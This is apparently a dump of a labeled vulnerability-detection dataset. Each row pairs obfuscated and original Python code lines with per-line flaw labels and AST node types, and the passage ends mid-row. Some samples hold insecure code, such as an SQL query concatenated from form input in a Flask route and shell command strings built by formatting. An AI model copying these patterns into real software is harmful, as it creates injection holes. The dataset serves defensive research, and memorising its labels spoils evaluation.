lines
sequencelengths 1
444
| raw_lines
sequencelengths 1
444
| label
sequencelengths 1
444
| type
sequencelengths 1
444
|
---|---|---|---|
[
"@VAR_1.route('/demo4', methods=['GET', 'POST'])...\n",
"print('in demo4')\n",
"if request.method == 'GET':\n",
"return render_template('demo4.html', ipedssectornames=ipedssectornames)\n",
"print(request.form)\n",
"VAR_14 = request.form.getlist('year')\n",
"VAR_15 = request.form.getlist('ipedssectornames')\n",
"VAR_8 = (\n 'SELECT count(*) from hej,maintable where (hej.jobid=maintable.jobid) and '\n )\n",
"VAR_8 += FUNC_11(VAR_14) + ' and '\n",
"VAR_8 += FUNC_13('ipedssectorname', VAR_15)\n",
"VAR_8 += ' group by hej.year'\n",
"print(VAR_8)\n",
"VAR_9 = FUNC_15(VAR_8)\n",
"print(VAR_9)\n",
"if VAR_9 == []:\n",
"print('no results')\n",
"VAR_18 = [VAR_3[0] for VAR_3 in VAR_9]\n",
"return render_template('noResults.html', VAR_8=query)\n",
"VAR_19 = [FUNC_8(VAR_3) for VAR_3 in VAR_18]\n",
"VAR_20 = []\n",
"for i in range(0, len(VAR_14)):\n",
"VAR_20 += [FUNC_9(VAR_14[i], VAR_18[i])]\n",
"print(VAR_9)\n",
"print(VAR_18)\n",
"print(VAR_19)\n",
"print(VAR_20)\n",
"VAR_16 = [int(VAR_4) for VAR_4 in VAR_14]\n",
"return render_template('demo4b.html', VAR_8=query, VAR_14=years, VAR_18=z1)\n"
] | [
"@app.route('/demo4', methods=['GET', 'POST'])...\n",
"print('in demo4')\n",
"if request.method == 'GET':\n",
"return render_template('demo4.html', ipedssectornames=ipedssectornames)\n",
"print(request.form)\n",
"year = request.form.getlist('year')\n",
"ipeds = request.form.getlist('ipedssectornames')\n",
"query = (\n 'SELECT count(*) from hej,maintable where (hej.jobid=maintable.jobid) and '\n )\n",
"query += makeYears(year) + ' and '\n",
"query += makeStrings('ipedssectorname', ipeds)\n",
"query += ' group by hej.year'\n",
"print(query)\n",
"z = queryAll(query)\n",
"print(z)\n",
"if z == []:\n",
"print('no results')\n",
"z1 = [x[0] for x in z]\n",
"return render_template('noResults.html', query=query)\n",
"z2 = [makeObj(x) for x in z1]\n",
"vals = []\n",
"for i in range(0, len(year)):\n",
"vals += [makeObj2(year[i], z1[i])]\n",
"print(z)\n",
"print(z1)\n",
"print(z2)\n",
"print(vals)\n",
"years = [int(y) for y in year]\n",
"return render_template('demo4b.html', query=query, year=years, z1=z1)\n"
] | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
"Condition",
"Expr'",
"Condition",
"Return'",
"Expr'",
"Assign'",
"Assign'",
"Assign'",
"AugAssign'",
"AugAssign'",
"AugAssign'",
"Expr'",
"Assign'",
"Expr'",
"Condition",
"Expr'",
"Assign'",
"Return'",
"Assign'",
"Assign'",
"For",
"AugAssign'",
"Expr'",
"Expr'",
"Expr'",
"Expr'",
"Assign'",
"Return'"
] |
[
"@property...\n",
"if os.path.exists(self._osx_java_home_exe):\n",
"VAR_51 = subprocess.check_output([self._osx_java_home_exe, '--failfast',\n '--xml'])\n",
"VAR_52 = plistlib.loads(VAR_51) if PY3 else plistlib.readPlistFromString(VAR_51\n )\n",
"for distribution in VAR_52:\n",
"VAR_24 = distribution['JVMHomePath']\n",
"yield self.Location.from_home(VAR_24)\n"
] | [
"@property...\n",
"if os.path.exists(self._osx_java_home_exe):\n",
"plist = subprocess.check_output([self._osx_java_home_exe, '--failfast',\n '--xml'])\n",
"plist_results = plistlib.loads(plist) if PY3 else plistlib.readPlistFromString(\n plist)\n",
"for distribution in plist_results:\n",
"home = distribution['JVMHomePath']\n",
"yield self.Location.from_home(home)\n"
] | [
0,
0,
0,
0,
0,
0,
0
] | [
"Condition",
"Condition",
"Assign'",
"Assign'",
"For",
"Assign'",
"Expr'"
] |
[
"def FUNC_10(self):...\n",
""
] | [
"def get(self):...\n",
""
] | [
0,
0
] | [
"FunctionDef'",
"Condition"
] |
[
"def FUNC_14(self, VAR_32, VAR_33, VAR_30):...\n",
"\"\"\"docstring\"\"\"\n",
"if VAR_33 & os.O_WRONLY == os.O_WRONLY or VAR_33 & os.O_RDWR == os.O_RDWR:\n",
"VAR_68 = VAR_30 & ~111\n",
"if VAR_33 & os.O_RDONLY == os.O_RDONLY:\n",
"VAR_69 = '%s/%s_sftp_%s' % (self.cfg.get('honeypot', 'download_path'), time\n .strftime('%Y%m%d-%H%M%S'), re.sub('[^A-Za-z0-9]', '_', VAR_32))\n",
"return None\n",
"return None\n",
"self.mkfile(VAR_32, 0, 0, 0, FUNC_30.S_IFREG | VAR_30)\n",
"VAR_34 = os.open(VAR_69, VAR_33, VAR_68)\n",
"self.update_realfile(self.getfile(VAR_32), VAR_69)\n",
"self.tempfiles[VAR_34] = VAR_69\n",
"self.filenames[VAR_34] = VAR_32\n",
"return VAR_34\n"
] | [
"def open(self, filename, openFlags, mode):...\n",
"\"\"\"docstring\"\"\"\n",
"if openFlags & os.O_WRONLY == os.O_WRONLY or openFlags & os.O_RDWR == os.O_RDWR:\n",
"hostmode = mode & ~111\n",
"if openFlags & os.O_RDONLY == os.O_RDONLY:\n",
"hostfile = '%s/%s_sftp_%s' % (self.cfg.get('honeypot', 'download_path'),\n time.strftime('%Y%m%d-%H%M%S'), re.sub('[^A-Za-z0-9]', '_', filename))\n",
"return None\n",
"return None\n",
"self.mkfile(filename, 0, 0, 0, stat.S_IFREG | mode)\n",
"fd = os.open(hostfile, openFlags, hostmode)\n",
"self.update_realfile(self.getfile(filename), hostfile)\n",
"self.tempfiles[fd] = hostfile\n",
"self.filenames[fd] = filename\n",
"return fd\n"
] | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
"FunctionDef'",
"Docstring",
"Condition",
"Assign'",
"Condition",
"Assign'",
"Return'",
"Return'",
"Expr'",
"Assign'",
"Expr'",
"Assign'",
"Assign'",
"Return'"
] |
[
"def FUNC_7(self):...\n",
"return self._get_net_info()[:2]\n"
] | [
"def get_first_if(self):...\n",
"return self._get_net_info()[:2]\n"
] | [
0,
0
] | [
"FunctionDef'",
"Return'"
] |
[
"def FUNC_7(self):...\n",
"return self.content\n"
] | [
"def read(self):...\n",
"return self.content\n"
] | [
0,
0
] | [
"FunctionDef'",
"Return'"
] |
[
"def FUNC_18(self, VAR_16, VAR_20):...\n",
"\"\"\"docstring\"\"\"\n",
"VAR_28 = ['volume', 'select', VAR_16['name'], 'access', 'create',\n 'initiator', VAR_20['initiator']]\n",
"VAR_0.error(_('Failed to initialize connection to volume %s'), VAR_16['name'])\n",
"if self.configuration.eqlx_use_chap:\n",
"VAR_28.extend(['authmethod chap', 'username', self.configuration.\n eqlx_chap_login])\n",
"self._eql_execute(*VAR_28)\n",
"VAR_47 = self._get_iscsi_properties(VAR_16)\n",
"return {'driver_volume_type': 'iscsi', 'data': VAR_47}\n"
] | [
"def initialize_connection(self, volume, connector):...\n",
"\"\"\"docstring\"\"\"\n",
"cmd = ['volume', 'select', volume['name'], 'access', 'create', 'initiator',\n connector['initiator']]\n",
"LOG.error(_('Failed to initialize connection to volume %s'), volume['name'])\n",
"if self.configuration.eqlx_use_chap:\n",
"cmd.extend(['authmethod chap', 'username', self.configuration.eqlx_chap_login])\n",
"self._eql_execute(*cmd)\n",
"iscsi_properties = self._get_iscsi_properties(volume)\n",
"return {'driver_volume_type': 'iscsi', 'data': iscsi_properties}\n"
] | [
0,
0,
0,
0,
0,
2,
0,
0,
0
] | [
"FunctionDef'",
"Docstring",
"Assign'",
"Expr'",
"Condition",
"Expr'",
"Expr'",
"Assign'",
"Return'"
] |
[
"def FUNC_4(VAR_2: HttpRequest):...\n",
"\"\"\"docstring\"\"\"\n",
"u: Profile = get_current_user(VAR_2)\n",
"if 'rid' in VAR_2.GET:\n",
"if 'srid' in VAR_2.GET:\n",
"return HttpResponseRedirect(\n '/admin?error=Missing%20reservation%20id%20in%20request')\n",
"VAR_7 = HttpResponseRedirect('/admin/reservations/edit?rid=' + str(int(\n VAR_2.GET['rid'])) + '&srid=' + str(int(VAR_2.GET['srid'])))\n",
"VAR_7 = HttpResponseRedirect('/admin/reservations/edit?rid=' + str(int(\n VAR_2.GET['rid'])))\n",
"if VAR_2.GET.get('id'):\n",
"aid: ArticleRequested = ArticleRequested.objects.get(id=int(request.GET['id']))\n",
"return VAR_7\n",
"VAR_8: GroupReservation = GroupReservation.objects.get(id=int(request.GET[\n 'rid']))\n",
"if (aid.RID.createdByUser == u or u.rights > 1\n",
"aid.delete()\n",
"return HttpResponseRedirect(\n \"/admin?error=You're%20not%20allowed%20to%20do%20this\")\n"
] | [
"def action_delete_article(request: HttpRequest):...\n",
"\"\"\"docstring\"\"\"\n",
"u: Profile = get_current_user(request)\n",
"if 'rid' in request.GET:\n",
"if 'srid' in request.GET:\n",
"return HttpResponseRedirect(\n '/admin?error=Missing%20reservation%20id%20in%20request')\n",
"response = HttpResponseRedirect('/admin/reservations/edit?rid=' + str(int(\n request.GET['rid'])) + '&srid=' + str(int(request.GET['srid'])))\n",
"response = HttpResponseRedirect('/admin/reservations/edit?rid=' + str(int(\n request.GET['rid'])))\n",
"if request.GET.get('id'):\n",
"aid: ArticleRequested = ArticleRequested.objects.get(id=int(request.GET['id']))\n",
"return response\n",
"r: GroupReservation = GroupReservation.objects.get(id=int(request.GET['rid']))\n",
"if (aid.RID.createdByUser == u or u.rights > 1\n",
"aid.delete()\n",
"return HttpResponseRedirect(\n \"/admin?error=You're%20not%20allowed%20to%20do%20this\")\n"
] | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
"FunctionDef'",
"Docstring",
"AnnAssign'",
"Condition",
"Condition",
"Return'",
"Assign'",
"Assign'",
"Condition",
"AnnAssign'",
"Return'",
"AnnAssign'",
"Condition",
"Expr'",
"Return'"
] |
[
"def FUNC_29(self, VAR_21):...\n",
"\"\"\"docstring\"\"\"\n",
"return self.stat(VAR_21, VAR_23=False)\n"
] | [
"def lstat(self, path):...\n",
"\"\"\"docstring\"\"\"\n",
"return self.stat(path, follow_symlinks=False)\n"
] | [
0,
0,
0
] | [
"FunctionDef'",
"Docstring",
"Return'"
] |
[
"def FUNC_7(self):...\n",
"\"\"\"docstring\"\"\"\n",
"VAR_2 = {'SEVERITY': {'MEDIUM': 1}, 'CONFIDENCE': {'HIGH': 1}}\n",
"self.check_example('cipher-modes.py', VAR_2)\n"
] | [
"def test_cipher_modes(self):...\n",
"\"\"\"docstring\"\"\"\n",
"expect = {'SEVERITY': {'MEDIUM': 1}, 'CONFIDENCE': {'HIGH': 1}}\n",
"self.check_example('cipher-modes.py', expect)\n"
] | [
0,
0,
0,
0
] | [
"FunctionDef'",
"Docstring",
"Assign'",
"Expr'"
] |
[
"def FUNC_6(self, VAR_38):...\n",
"VAR_38 = CLASS_17.run(self, VAR_38)\n",
"if VAR_38 and self.only_whitespace.match(VAR_38):\n",
"VAR_101.errors.add(errors.NO_TITLE)\n",
"return VAR_38\n"
] | [
"def run(self, title):...\n",
"title = VLength.run(self, title)\n",
"if title and self.only_whitespace.match(title):\n",
"c.errors.add(errors.NO_TITLE)\n",
"return title\n"
] | [
0,
0,
0,
0,
0
] | [
"FunctionDef'",
"Assign'",
"Condition",
"Expr'",
"Return'"
] |
[
"def __repr__(self):...\n",
"return '<MISSING>'\n"
] | [
"def __repr__(self):...\n",
"return '<MISSING>'\n"
] | [
0,
0
] | [
"FunctionDef'",
"Return'"
] |
[
"@defer.inlineCallbacks...\n",
"VAR_70 = yield self.mail_store.get_mailbox_mail_ids(VAR_42)\n",
"VAR_58 = yield self.mail_store.get_mails(VAR_70)\n",
"defer.returnValue(VAR_58)\n"
] | [
"@defer.inlineCallbacks...\n",
"mail_ids = yield self.mail_store.get_mailbox_mail_ids(mbox_name)\n",
"mails = yield self.mail_store.get_mails(mail_ids)\n",
"defer.returnValue(mails)\n"
] | [
0,
0,
0,
0
] | [
"Condition",
"Assign'",
"Assign'",
"Expr'"
] |
[
"def FUNC_1(VAR_1, VAR_6):...\n",
""
] | [
"def directory_index(path, fullpath):...\n",
""
] | [
0,
0
] | [
"FunctionDef'",
"Condition"
] |
[
"def FUNC_23(self):...\n",
"self.compilation_ok(\n \"\"\"\nrequire \"reject\";\n\nif header :contains \"subject\" \"viagra\" {\n reject;\n}\n\"\"\"\n )\n"
] | [
"def test_reject_extension(self):...\n",
"self.compilation_ok(\n \"\"\"\nrequire \"reject\";\n\nif header :contains \"subject\" \"viagra\" {\n reject;\n}\n\"\"\"\n )\n"
] | [
0,
0
] | [
"FunctionDef'",
"Expr'"
] |
[
"def FUNC_7(self, VAR_10):...\n",
"\"\"\"docstring\"\"\"\n",
"if not self._rules:\n",
"if not VAR_10 in self._rules:\n",
"return self._rules[VAR_10]\n"
] | [
"def get_rule(self, name):...\n",
"\"\"\"docstring\"\"\"\n",
"if not self._rules:\n",
"if not name in self._rules:\n",
"return self._rules[name]\n"
] | [
0,
0,
0,
0,
0
] | [
"FunctionDef'",
"Docstring",
"Condition",
"Condition",
"Return'"
] |
[
"from __future__ import absolute_import\n",
"from __future__ import print_function\n",
"from __future__ import unicode_literals\n",
"import io\n",
"import json\n",
"import logging\n",
"import os\n",
"import re\n",
"import subprocess\n",
"import sys\n",
"import time\n",
"import requests\n",
"from cmstestsuite.web import Browser\n",
"from cmstestsuite.web.AWSRequests import AWSLoginRequest, AWSSubmissionViewRequest, AWSUserTestViewRequest\n",
"from cmstestsuite.web.CWSRequests import CWSLoginRequest, SubmitRequest, SubmitUserTestRequest\n",
"VAR_0 = logging.getLogger(__name__)\n",
"VAR_1 = {'VERBOSITY': 0}\n",
"VAR_2 = None\n",
"VAR_3 = {}\n",
"VAR_4 = {}\n",
"VAR_5 = {}\n",
"VAR_6 = 'http://localhost:8889/'\n",
"VAR_7 = 'http://localhost:8888/'\n",
"VAR_8 = None\n",
"VAR_9 = None\n",
"def FUNC_0():...\n",
"if VAR_8 is None:\n",
"VAR_8 = Browser()\n",
"return VAR_8\n",
"VAR_53 = AWSLoginRequest(VAR_8, VAR_5['username'], VAR_5['password'],\n base_url=AWS_BASE_URL)\n",
"VAR_8.login(VAR_53)\n"
] | [
"from __future__ import absolute_import\n",
"from __future__ import print_function\n",
"from __future__ import unicode_literals\n",
"import io\n",
"import json\n",
"import logging\n",
"import os\n",
"import re\n",
"import subprocess\n",
"import sys\n",
"import time\n",
"import requests\n",
"from cmstestsuite.web import Browser\n",
"from cmstestsuite.web.AWSRequests import AWSLoginRequest, AWSSubmissionViewRequest, AWSUserTestViewRequest\n",
"from cmstestsuite.web.CWSRequests import CWSLoginRequest, SubmitRequest, SubmitUserTestRequest\n",
"logger = logging.getLogger(__name__)\n",
"CONFIG = {'VERBOSITY': 0}\n",
"cms_config = None\n",
"created_users = {}\n",
"created_tasks = {}\n",
"admin_info = {}\n",
"AWS_BASE_URL = 'http://localhost:8889/'\n",
"CWS_BASE_URL = 'http://localhost:8888/'\n",
"aws_browser = None\n",
"cws_browser = None\n",
"def get_aws_browser():...\n",
"if aws_browser is None:\n",
"aws_browser = Browser()\n",
"return aws_browser\n",
"lr = AWSLoginRequest(aws_browser, admin_info['username'], admin_info[\n 'password'], base_url=AWS_BASE_URL)\n",
"aws_browser.login(lr)\n"
] | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
5,
5,
0,
0,
0,
0,
0,
0,
0,
0
] | [
"ImportFrom'",
"ImportFrom'",
"ImportFrom'",
"Import'",
"Import'",
"Import'",
"Import'",
"Import'",
"Import'",
"Import'",
"Import'",
"Import'",
"ImportFrom'",
"ImportFrom'",
"ImportFrom'",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
"FunctionDef'",
"Condition",
"Assign'",
"Return'",
"Assign'",
"Expr'"
] |
[
"def FUNC_13(self, VAR_9, VAR_10=None, VAR_11=None, VAR_20=''):...\n",
"\"\"\"docstring\"\"\"\n",
"VAR_28 = self.get_and_check_task(VAR_9, VAR_10, VAR_11)\n",
"VAR_31 = {'all': 'all.zip', 'geotiff': os.path.join('odm_orthophoto',\n 'odm_orthophoto.tif'), 'las': os.path.join('odm_georeferencing',\n 'odm_georeferenced_model.ply.las'), 'ply': os.path.join(\n 'odm_georeferencing', 'odm_georeferenced_model.ply'), 'csv': os.path.\n join('odm_georeferencing', 'odm_georeferenced_model.csv')}\n",
"if VAR_20 in VAR_31:\n",
"VAR_33 = VAR_28.assets_path(VAR_31[VAR_20])\n",
"if not os.path.exists(VAR_33):\n",
"VAR_34 = os.path.basename(VAR_33)\n",
"VAR_35 = open(VAR_33, 'rb')\n",
"VAR_36 = HttpResponse(FileWrapper(VAR_35), content_type=mimetypes.\n guess_type(asset_filename)[0] or 'application/zip')\n",
"VAR_36['Content-Disposition'] = 'attachment; filename={}'.format(VAR_34)\n",
"return VAR_36\n"
] | [
"def get(self, request, pk=None, project_pk=None, asset=''):...\n",
"\"\"\"docstring\"\"\"\n",
"task = self.get_and_check_task(request, pk, project_pk)\n",
"allowed_assets = {'all': 'all.zip', 'geotiff': os.path.join(\n 'odm_orthophoto', 'odm_orthophoto.tif'), 'las': os.path.join(\n 'odm_georeferencing', 'odm_georeferenced_model.ply.las'), 'ply': os.\n path.join('odm_georeferencing', 'odm_georeferenced_model.ply'), 'csv':\n os.path.join('odm_georeferencing', 'odm_georeferenced_model.csv')}\n",
"if asset in allowed_assets:\n",
"asset_path = task.assets_path(allowed_assets[asset])\n",
"if not os.path.exists(asset_path):\n",
"asset_filename = os.path.basename(asset_path)\n",
"file = open(asset_path, 'rb')\n",
"response = HttpResponse(FileWrapper(file), content_type=mimetypes.\n guess_type(asset_filename)[0] or 'application/zip')\n",
"response['Content-Disposition'] = 'attachment; filename={}'.format(\n asset_filename)\n",
"return response\n"
] | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
"FunctionDef'",
"Docstring",
"Assign'",
"Assign'",
"Condition",
"Assign'",
"Condition",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
"Return'"
] |
[
"import sys\n",
"import os\n",
"import contextlib\n",
"def FUNC_0(VAR_0):...\n",
"\"\"\"docstring\"\"\"\n",
"if '<' in VAR_0:\n",
"FUNC_1(VAR_0)\n",
"if '>' in VAR_0:\n",
"FUNC_2(VAR_0)\n",
"if '>>' in VAR_0:\n",
"FUNC_3(VAR_0)\n",
"def FUNC_1(VAR_0):...\n",
"import pdb\n",
"pdb.set_trace()\n",
"def FUNC_2(VAR_0):...\n",
"VAR_1 = VAR_0.index('>')\n",
"sys.stdout = open(VAR_0[VAR_1 + 1], 'w')\n",
"print('this is a test')\n",
"def FUNC_3(VAR_0):...\n",
"import pdb\n",
"pdb.set_trace()\n"
] | [
"import sys\n",
"import os\n",
"import contextlib\n",
"def IO_redirection(cmd):...\n",
"\"\"\"docstring\"\"\"\n",
"if '<' in cmd:\n",
"SetUpInputRedirect(cmd)\n",
"if '>' in cmd:\n",
"SetUpOutputRedirect(cmd)\n",
"if '>>' in cmd:\n",
"SetUpAppendRedirect(cmd)\n",
"def SetUpInputRedirect(cmd):...\n",
"import pdb\n",
"pdb.set_trace()\n",
"def SetUpOutputRedirect(cmd):...\n",
"i = cmd.index('>')\n",
"sys.stdout = open(cmd[i + 1], 'w')\n",
"print('this is a test')\n",
"def SetUpAppendRedirect(cmd):...\n",
"import pdb\n",
"pdb.set_trace()\n"
] | [
0,
0,
0,
0,
0,
0,
6,
0,
6,
0,
6,
0,
6,
6,
0,
6,
6,
6,
0,
0,
0
] | [
"Import'",
"Import'",
"Import'",
"FunctionDef'",
"Docstring",
"Condition",
"Expr'",
"Condition",
"Expr'",
"Condition",
"Expr'",
"FunctionDef'",
"Import'",
"Expr'",
"FunctionDef'",
"Assign'",
"Assign'",
"Expr'",
"FunctionDef'",
"Import'",
"Expr'"
] |
[
"def __iter__(self):...\n",
"return self\n"
] | [
"def __iter__(self):...\n",
"return self\n"
] | [
0,
0
] | [
"FunctionDef'",
"Return'"
] |
[
"def FUNC_7(VAR_8, VAR_9):...\n",
"return getattr(VAR_8, VAR_9)()\n"
] | [
"def callMethod(o, name):...\n",
"return getattr(o, name)()\n"
] | [
0,
0
] | [
"FunctionDef'",
"Return'"
] |
[
"def __init__(self, VAR_7=''):...\n",
"self.serial = VAR_7\n",
"if VAR_7:\n",
"self.adb_str = 'adb -s %s' % VAR_7\n",
"self.adb_str = 'adb'\n"
] | [
"def __init__(self, serial=''):...\n",
"self.serial = serial\n",
"if serial:\n",
"self.adb_str = 'adb -s %s' % serial\n",
"self.adb_str = 'adb'\n"
] | [
0,
0,
2,
2,
2
] | [
"FunctionDef'",
"Assign'",
"Condition",
"Assign'",
"Assign'"
] |
[
"@wraps(VAR_55)...\n",
"def FUNC_27(VAR_6):...\n",
"if callable(VAR_6):\n",
"return VAR_6()\n",
"if request.method == 'POST':\n",
"return VAR_55(*VAR_69, **kwargs)\n",
"VAR_10 = json.loads(request.data)\n",
"VAR_54 = {'error': {'type': 'schema', 'message': str(e)}, 'schema': VAR_24}\n",
"schemas.validate(VAR_10, VAR_24)\n",
"return json.dumps(VAR_54, sort_keys=True, indent=4, default=default_encode\n ), 400, {'Content-Type': 'application/json'}\n",
"VAR_70['validated_body'] = VAR_10\n",
"if VAR_70.get('timer'):\n",
"VAR_70['timer'].mark('validate_schema')\n"
] | [
"@wraps(func)...\n",
"def default_encode(value):...\n",
"if callable(value):\n",
"return value()\n",
"if request.method == 'POST':\n",
"return func(*args, **kwargs)\n",
"body = json.loads(request.data)\n",
"result = {'error': {'type': 'schema', 'message': str(e)}, 'schema': schema}\n",
"schemas.validate(body, schema)\n",
"return json.dumps(result, sort_keys=True, indent=4, default=default_encode\n ), 400, {'Content-Type': 'application/json'}\n",
"kwargs['validated_body'] = body\n",
"if kwargs.get('timer'):\n",
"kwargs['timer'].mark('validate_schema')\n"
] | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
"Condition",
"FunctionDef'",
"Condition",
"Return'",
"Condition",
"Return'",
"Assign'",
"Assign'",
"Expr'",
"Return'",
"Assign'",
"Condition",
"Expr'"
] |
[
"def FUNC_16(self):...\n",
"self.run_test_case(self.scenario.create_http_load_balancer())\n"
] | [
"def test_d_create_http_load_balancer(self):...\n",
"self.run_test_case(self.scenario.create_http_load_balancer())\n"
] | [
0,
0
] | [
"FunctionDef'",
"Expr'"
] |
[
"def FUNC_6(VAR_11, VAR_12):...\n",
"\"\"\"docstring\"\"\"\n",
"VAR_29 = set()\n",
"VAR_10 = {'facet': 'true', 'facet.field': 'institution', 'facet.mincount': \n 3, 'q': '!source_id:error', 'rows': 0, 'wt': 'json'}\n",
"for VAR_9 in (VAR_11, VAR_12):\n",
"VAR_21 = FUNC_2(VAR_9, VAR_10)\n",
"return VAR_29\n",
"VAR_36 = VAR_21['facet_counts']['facet_fields']['institution']\n",
"for institution in VAR_36[::2]:\n",
"VAR_29.add(institution)\n"
] | [
"def get_all_current_institutions(k10plus, ai):...\n",
"\"\"\"docstring\"\"\"\n",
"current_institutions = set()\n",
"params = {'facet': 'true', 'facet.field': 'institution', 'facet.mincount': \n 3, 'q': '!source_id:error', 'rows': 0, 'wt': 'json'}\n",
"for index in (k10plus, ai):\n",
"result = get_solr_result(index, params)\n",
"return current_institutions\n",
"institutions = result['facet_counts']['facet_fields']['institution']\n",
"for institution in institutions[::2]:\n",
"current_institutions.add(institution)\n"
] | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
"FunctionDef'",
"Docstring",
"Assign'",
"Assign'",
"For",
"Assign'",
"Return'",
"Assign'",
"For",
"Expr'"
] |
[
"@staticmethod...\n",
"\"\"\"docstring\"\"\"\n",
"VAR_22 = CLASS_1.get_user_by_id(VAR_3)\n",
"return VAR_22.has_user_accepted_licence(VAR_21)\n"
] | [
"@staticmethod...\n",
"\"\"\"docstring\"\"\"\n",
"user = UserService.get_user_by_id(user_id)\n",
"return user.has_user_accepted_licence(license_id)\n"
] | [
0,
0,
0,
0
] | [
"Condition",
"Docstring",
"Assign'",
"Return'"
] |
[
"def FUNC_30(self):...\n",
"\"\"\"docstring\"\"\"\n",
"self.parser.parse_args(['--edit-player'])\n"
] | [
"def test_no_player_id(self):...\n",
"\"\"\"docstring\"\"\"\n",
"self.parser.parse_args(['--edit-player'])\n"
] | [
0,
0,
0
] | [
"FunctionDef'",
"Docstring",
"Expr'"
] |
[
"def FUNC_2(self):...\n",
""
] | [
"def tearDown(self):...\n",
""
] | [
0,
0
] | [
"FunctionDef'",
"Condition"
] |
[
"def FUNC_20(self, VAR_21):...\n",
"\"\"\"docstring\"\"\"\n",
"VAR_21 = VAR_21.rstrip('/')\n",
"VAR_60 = os.path.basename(VAR_21)\n",
"VAR_61 = os.path.dirname(VAR_21)\n",
"VAR_58 = self.getfile(VAR_21, VAR_23=False)\n",
"if VAR_58 == False:\n",
"if VAR_58[VAR_2] != VAR_12:\n",
"if len(self.get_path(VAR_21)) > 0:\n",
"VAR_62 = self.get_path(VAR_61, VAR_23=True)\n",
"for i in VAR_62[:]:\n",
"if i[VAR_1] == VAR_60:\n",
"return False\n",
"VAR_62.remove(i)\n",
"return True\n"
] | [
"def rmdir(self, path):...\n",
"\"\"\"docstring\"\"\"\n",
"path = path.rstrip('/')\n",
"name = os.path.basename(path)\n",
"parent = os.path.dirname(path)\n",
"dir = self.getfile(path, follow_symlinks=False)\n",
"if dir == False:\n",
"if dir[A_TYPE] != T_DIR:\n",
"if len(self.get_path(path)) > 0:\n",
"pdir = self.get_path(parent, follow_symlinks=True)\n",
"for i in pdir[:]:\n",
"if i[A_NAME] == name:\n",
"return False\n",
"pdir.remove(i)\n",
"return True\n"
] | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
"FunctionDef'",
"Docstring",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
"Condition",
"Condition",
"Condition",
"Assign'",
"For",
"Condition",
"Return'",
"Expr'",
"Return'"
] |
[
"def FUNC_6(VAR_10, VAR_11, VAR_12):...\n",
"if VAR_10 == VAR_12:\n",
"VAR_64 = [0, 0]\n",
"VAR_64 = []\n",
"return dict(zip(['failRate', 'failRateWithRetries'], VAR_64))\n",
"VAR_65 = [VAR_12 - VAR_11, VAR_12]\n",
"for denominator in VAR_65:\n",
"VAR_26 = 100 - VAR_10 * 100 / float(denominator)\n",
"VAR_26 = 0\n",
"VAR_64.append(round(VAR_26, 2))\n"
] | [
"def calculate_fail_rate(passes, retries, totals):...\n",
"if passes == totals:\n",
"results = [0, 0]\n",
"results = []\n",
"return dict(zip(['failRate', 'failRateWithRetries'], results))\n",
"denominators = [totals - retries, totals]\n",
"for denominator in denominators:\n",
"result = 100 - passes * 100 / float(denominator)\n",
"result = 0\n",
"results.append(round(result, 2))\n"
] | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
"FunctionDef'",
"Condition",
"Assign'",
"Assign'",
"Return'",
"Assign'",
"For",
"Assign'",
"Assign'",
"Expr'"
] |
[
"def FUNC_9(self, VAR_14):...\n",
""
] | [
"def is_string(self, col_name):...\n",
""
] | [
0,
0
] | [
"FunctionDef'",
"Condition"
] |
[
"@classmethod...\n",
"assert engine\n",
"VAR_9 = text('string')\n",
"VAR_7 = engine.connect()\n",
"VAR_10 = VAR_7.execute(VAR_9, VAR_1=username).fetchone()\n",
"if VAR_10 is not None:\n",
"VAR_10 = CLASS_0(VAR_10[0], VAR_10[1], VAR_10[2].decode('utf-8'), VAR_10[3])\n",
"VAR_7.close()\n",
"return VAR_10\n"
] | [
"@classmethod...\n",
"assert engine\n",
"s = text(\n 'SELECT user_id, username, hashed_password, roll_id FROM users WHERE username = :username AND expire_date is null'\n )\n",
"connection = engine.connect()\n",
"rc = connection.execute(s, username=username).fetchone()\n",
"if rc is not None:\n",
"rc = User(rc[0], rc[1], rc[2].decode('utf-8'), rc[3])\n",
"connection.close()\n",
"return rc\n"
] | [
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
"Condition",
"Assert'",
"Assign'",
"Assign'",
"Assign'",
"Condition",
"Assign'",
"Expr'",
"Return'"
] |
[
"@app.route('/achievements/<achievement_id>/unlock', methods=['POST'])...\n",
"\"\"\"docstring\"\"\"\n",
"VAR_2 = int(request.form.get('player_id'))\n",
"return flask.jsonify(FUNC_11(VAR_1, VAR_2))\n"
] | [
"@app.route('/achievements/<achievement_id>/unlock', methods=['POST'])...\n",
"\"\"\"docstring\"\"\"\n",
"player_id = int(request.form.get('player_id'))\n",
"return flask.jsonify(unlock_achievement(achievement_id, player_id))\n"
] | [
0,
0,
0,
0
] | [
"Condition",
"Docstring",
"Assign'",
"Return'"
] |
[
"@auth.route('/login', methods=['GET', 'POST'])...\n",
"VAR_1 = LoginForm()\n",
"if VAR_1.validate_on_submit():\n",
"VAR_2 = User.query.filter_by(email=form.email.data).first()\n",
"return render_template('auth/login.html', VAR_1=form)\n",
"if VAR_2 is not None and VAR_2.verify_password(VAR_1.password.data):\n",
"login_user(VAR_2, VAR_1.remember_me.data)\n",
"flash('Invalid username or password.')\n",
"VAR_3['auth_token'] = VAR_2.auth_token\n",
"return redirect(request.args.get('next') or url_for('main.index'))\n"
] | [
"@auth.route('/login', methods=['GET', 'POST'])...\n",
"form = LoginForm()\n",
"if form.validate_on_submit():\n",
"user = User.query.filter_by(email=form.email.data).first()\n",
"return render_template('auth/login.html', form=form)\n",
